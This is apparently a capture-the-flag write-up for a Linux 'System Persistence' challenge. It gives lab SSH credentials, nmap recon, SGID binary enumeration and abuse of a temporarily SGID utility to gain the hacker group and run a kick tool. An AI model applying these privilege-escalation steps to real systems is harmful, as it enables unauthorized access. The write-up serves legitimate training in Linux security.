System Persistence
System Persistence
Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-07 | Status: Solved Techniques: effective_group_preservation, linux_enumeration, service_reconnaissance, sgid_group_abuse
Summary
Task: a compromised Linux server exposes SSH and a defaced web page, while /server/token.txt only reveals rotating token fragments. Solution: enumerate temporary SGID binaries owned by group hacker, preserve egid=hacker through a working wrapper, access /home/hacker/userkick, and kick the attacker account to print the real flag.
System Persistence — Hackerlab
Description
Наш сервер был скомпрометирован, но мы не можем снести его и развернуть заново из-за 'процедур безопасности' облачного провайдера, требующие ввести секретный токен. Сам токен хранится на сервере в /server/token.txt и появляется по частям.
Мы пытались прочитать токен, но удавалось увидеть лишь одну часть, после чего хакер кикал нас с сервера. Поможешь вернуть контроль над сервером?
Вот креды для подключения по SSH: sysadmin:h1dd3nhunt3r
IP: 62.173.140.174:10122 IP: 62.173.140.174:10180
English summary: the challenge provides SSH access to a compromised Linux server and a web service. The visible token file looks like the objective, but it is actually a rotating decoy and hint channel. The real goal is to regain enough access to run the attacker's own kick utility against the hacker account.
Targets: 62.173.140.174:10122, 62.173.140.174:10180
Credentials: sysadmin / h1dd3nhunt3r
Flag format: CODEBY{...}
Analysis
Recon
Initial service enumeration showed only SSH and HTTP:
bash read-only • copy allowednmap -sV -p 10122,10180 62.173.140.174
Representative result:
text read-only • copy allowed10122/tcp open ssh OpenSSH 8.2p1 10180/tcp open http nginx 1.18.0
The web root only displayed a short defacement-style page:
text read-only • copy allowedBreached.
That page did not expose the token path or any obvious admin functionality, so SSH was the intended entry point:
bash read-only • copy allowedssh -p 10122 sysadmin@62.173.140.174
The rotating token was a decoy
After login, /server/token.txt did not contain a stable secret. It changed constantly and only revealed rotating lines. Repeated reads showed that the file mixed fake-token fragments with embedded hints.
Representative samples:
text read-only • copy allowed0. CODEBY{ 1. 1_s33_ 2. y0UR3_ 3. p3rs1st3nt_ 4. Unf0rtun4t3ly_ 5. itsafaketoken} 6. Kick me (hacker) off the server with the tool in my home dir to get the real one :)
Another important hint mentioned looking for a binary with an s in the group permissions. That made the file useful not as a source of the real token, but as an in-band instruction system pointing to the real privilege path.
SGID enumeration
The next step was searching for SGID binaries:
bash read-only • copy allowedfind / -perm -2000 -type f 2>/dev/null | sort | xargs ls -l
The unusual behavior was that one binary would temporarily appear with group hacker and SGID set. Examples observed during repeated checks included:
/usr/bin/timeout/usr/bin/ionice/usr/bin/nice/usr/bin/run-parts/usr/bin/taskset
Most direct executions did not reliably preserve a useful effective group, so the key was to keep testing until one wrapper both had SGID for hacker and actually carried egid=hacker into the spawned process.
Verifying the effective group
One successful check was:
bash read-only • copy allowed/usr/bin/taskset 1 /usr/bin/id
Output:
text read-only • copy alloweduid=1000(sysadmin) gid=1000(sysadmin) egid=1001(hacker) groups=1001(hacker),1000(sysadmin)
That was the critical state. With egid=hacker, the sysadmin user could finally access files inside /home/hacker.
The real objective in /home/hacker
Inside /home/hacker, the key artifact was:
text read-only • copy allowed/home/hacker/userkick
Running it without arguments revealed the intended action:
bash read-only • copy allowed/home/hacker/userkick
Output:
text read-only • copy allowedYou have to choose a user to kick off the server: sysadmin or hacker
This confirmed the challenge design: the attacker had persistence on the host, the rotating token file was only bait plus hints, and the actual fix was to use the attacker's helper against the hacker account.
Knowledge-base and HackTricks searches were attempted for similar SGID/persistence patterns, but no directly matching writeup was found, so the solve relied on host-specific enumeration.
Solution
1. Enumerate exposed services
bash read-only • copy allowednmap -sV -p 10122,10180 62.173.140.174 curl http://62.173.140.174:10180/
SSH was usable; the web page was only cosmetic.
2. Log in and inspect the token behavior
bash read-only • copy allowedssh -p 10122 sysadmin@62.173.140.174 watch -n 0.5 cat /server/token.txt
Do not reconstruct the fake token. Treat the changing lines as hints.
3. Hunt for a temporary SGID binary in group hacker
bash read-only • copy allowedfind / -perm -2000 -type f 2>/dev/null | sort | xargs ls -l
Repeat this until one of the common utility binaries shows SGID with group hacker.
4. Test whether the wrapper preserves egid=hacker
Examples:
bash read-only • copy allowed/usr/bin/taskset 1 /usr/bin/id /usr/bin/timeout 10 /usr/bin/id
The usable case is any output showing:
text read-only • copy allowedegid=1001(hacker)
5. Use that wrapper to execute the kick tool
Representative successful command:
bash read-only • copy allowed/usr/bin/timeout 10 /home/hacker/userkick hacker
Representative result:
text read-only • copy allowedGood Bye Friend. We'll meet again soon. CODEBY{REDACTED}
Working solve script
bash read-only • copy allowed#!/usr/bin/env bash set -euo pipefail HOST="62.173.140.174" PORT="10122" USER="sysadmin" echo "[+] Connect over SSH: ssh -p $PORT $USER@$HOST" echo "[+] Then repeat the following until egid=hacker appears:" echo " find / -perm -2000 -type f 2>/dev/null | sort | xargs ls -l" echo " /usr/bin/taskset 1 /usr/bin/id" echo " /usr/bin/timeout 10 /usr/bin/id" echo "[+] Once egid=hacker is present, run:" echo " /usr/bin/timeout 10 /home/hacker/userkick hacker"
The challenge is not about brute-forcing the token file. It is about recognizing a persistence mechanism, obtaining the attacker's group context through a temporarily SGID utility, and using that access to remove the attacker.